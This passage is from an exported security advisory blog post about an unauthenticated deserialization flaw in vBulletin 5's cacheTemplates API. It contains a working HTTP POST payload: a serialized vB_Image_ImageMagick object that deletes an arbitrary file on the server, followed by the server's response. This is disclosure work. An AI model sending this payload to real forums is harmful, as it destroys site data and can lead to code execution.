!important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> POST \/vb533\/ajax\/api\/template\/cacheTemplates HTTP\/1.1  Host: vb533.test  Pragma: no-cache  Cache-Control: no-cache  User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit\/537.36 (KHTML, like  Gecko) Chrome\/61.0.3163.100 Safari\/537.36  Upgrade-Insecure-Requests: 1  Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,\/;q=0.8  Accept-Encoding: gzip, deflate  Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4  Connection: close  Content-Type: application\/x-www-form-urlencoded  Content-Length: 125    templates[]=1&amp;templateidlist=O:20:&#8221;vB_Image_ImageMagick&#8221;:1:{s:20:&#8221;%00*%00imagefilelocation&#8221;;s:13:&#8221;\/path\/to\/file&#8221;;}<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ea701824403-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ea701824403-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ea701824403-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ea701824403-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ea701824403-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ea701824403-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ea701824403-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ea701824403-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ea701824403-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ea701824403-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ea701824403-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ea701824403-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ea701824403-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ea701824403-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ea701824403-15\">15<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ea701824403-1\"><span class=\"crayon-v\">POST<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">vb533<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ajax<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">api<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">template<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">cacheTemplates <\/span><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ea701824403-2\"><span class=\"crayon-v\">Host<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">vb533<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">test<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ea701824403-3\"><span class=\"crayon-v\">Pragma<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">no<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">cache<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ea701824403-4\"><span class=\"crayon-v\">Cache<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Control<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">no<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">cache<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ea701824403-5\"><span class=\"crayon-v\">User<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Agent<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Mozilla<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">5.0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Macintosh<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Intel <\/span><span class=\"crayon-e\">Mac <\/span><span class=\"crayon-i\">OS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">X<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">10_13_0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">AppleWebKit<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">537.36<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">KHTML<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">like<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ea701824403-6\"><span class=\"crayon-v\">Gecko<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Chrome<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">61.0.3163.100<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Safari<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">537.36<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ea701824403-7\"><span class=\"crayon-v\">Upgrade<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Insecure<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Requests<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ea701824403-8\"><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">html<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">application<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">xhtml<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">xml<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">application<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">xml<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0.9<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">image<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">webp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">image<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">apng<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0.8<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ea701824403-9\"><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Encoding<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">gzip<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">deflate<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ea701824403-10\"><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Language<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">it<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">IT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">it<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0.8<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">en<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">US<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0.6<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">en<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0.4<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ea701824403-11\"><span class=\"crayon-v\">Connection<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">close<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ea701824403-12\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">application<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">www<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">form<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">urlencoded<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ea701824403-13\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Length<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">125<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ea701824403-14\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ea701824403-15\"><span class=\"crayon-v\">templates<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">templateidlist<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">O<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;vB_Image_ImageMagick&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;%00*%00imagefilelocation&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">13<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;\/path\/to\/file&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0031 seconds] -->  <\/p>\n<p>The server then will respond with:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a31a760758ed255845409\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> HTTP\/1.1 200 OK  Date: Fri, 27 Oct 2017 09:27:52 GMT  Server: Apache\/2.4.18 (Ubuntu)  Set-Cookie: sessionhash=409d8f4b16ebb55471e63509834d0eff; path=\/; HttpOnly  Set-Cookie: lastvisit=1509096472; path=\/; HttpOnly  Set-Cookie: lastactivity=1509096472; path=\/; HttpOnly  Set-Cookie: sessionhash=44b1e8d2d433031ec2501649630dd8bf; path=\/; HttpOnly  Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0  Expires: Sat, 1 Jan 2000 01:00:00 GMT  Last-Modified: Fri, 27 Oct 2017 09:27:52 GMT  Pragma: no-cache  Vary: Accept-Encoding  Content-Length: 2101  Connection: close  Content-Type: application\/json; charset=UTF-8    {&#8220;errors&#8221;:[[&#8220;unexpected_error&#8221;,&#8221;Cannot use object of type vB_Image_ImageMagick as array&#8221;]]}<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ed255845409-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ed255845409-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ed255845409-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ed255845409-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ed255845409-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ed255845409-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ed255845409-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758ed255845409-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758ed255845409-17\">17<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-1\"><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">200<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">OK<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ed255845409-2\"><span class=\"crayon-v\">Date<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Fri<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">27<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Oct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">09<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">27<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">52<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">GMT<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-3\"><span class=\"crayon-v\">Server<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Apache<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">2.4.18<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Ubuntu<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ed255845409-4\"><span class=\"crayon-v\">Set<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sessionhash<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">409d8f4b16ebb55471e63509834d0eff<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HttpOnly<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-5\"><span class=\"crayon-v\">Set<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lastvisit<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1509096472<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HttpOnly<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ed255845409-6\"><span class=\"crayon-v\">Set<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lastactivity<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1509096472<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HttpOnly<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-7\"><span class=\"crayon-v\">Set<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sessionhash<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">44b1e8d2d433031ec2501649630dd8bf<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HttpOnly<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ed255845409-8\"><span class=\"crayon-v\">Cache<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Control<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">max<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">age<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">no<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">cache<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">no<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">store<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">post<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">check<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">pre<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">check<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-9\"><span class=\"crayon-v\">Expires<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Sat<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Jan<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">00<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">GMT<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ed255845409-10\"><span class=\"crayon-v\">Last<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Modified<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Fri<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">27<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Oct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">09<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">27<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">52<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">GMT<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-11\"><span class=\"crayon-v\">Pragma<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">no<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">cache<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ed255845409-12\"><span class=\"crayon-v\">Vary<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Accept<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">Encoding<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-13\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Length<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2101<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ed255845409-14\"><span class=\"crayon-v\">Connection<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">close<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-15\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">application<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">json<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">charset<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">UTF<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">8<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758ed255845409-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758ed255845409-17\"><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8220;errors&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;unexpected_error&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;Cannot use object of type vB_Image_ImageMagick as array&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0034 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3573\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 13 Dec 2017 10:36:20 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describes a unauthenticated deserialization vulnerability that leads to arbitrary delete files and, under certain circumstances, code execution found in vBulletin version 5. vBulletin, also known as vB, is &#8220;a widespread proprietary Internet forum software package developed by vBulletin Solutions, Inc., based on PHP and MySQL database server. vBulletin powers many &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3573\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 vBulletin cacheTemplates Unauthenticated Remote Arbitrary File 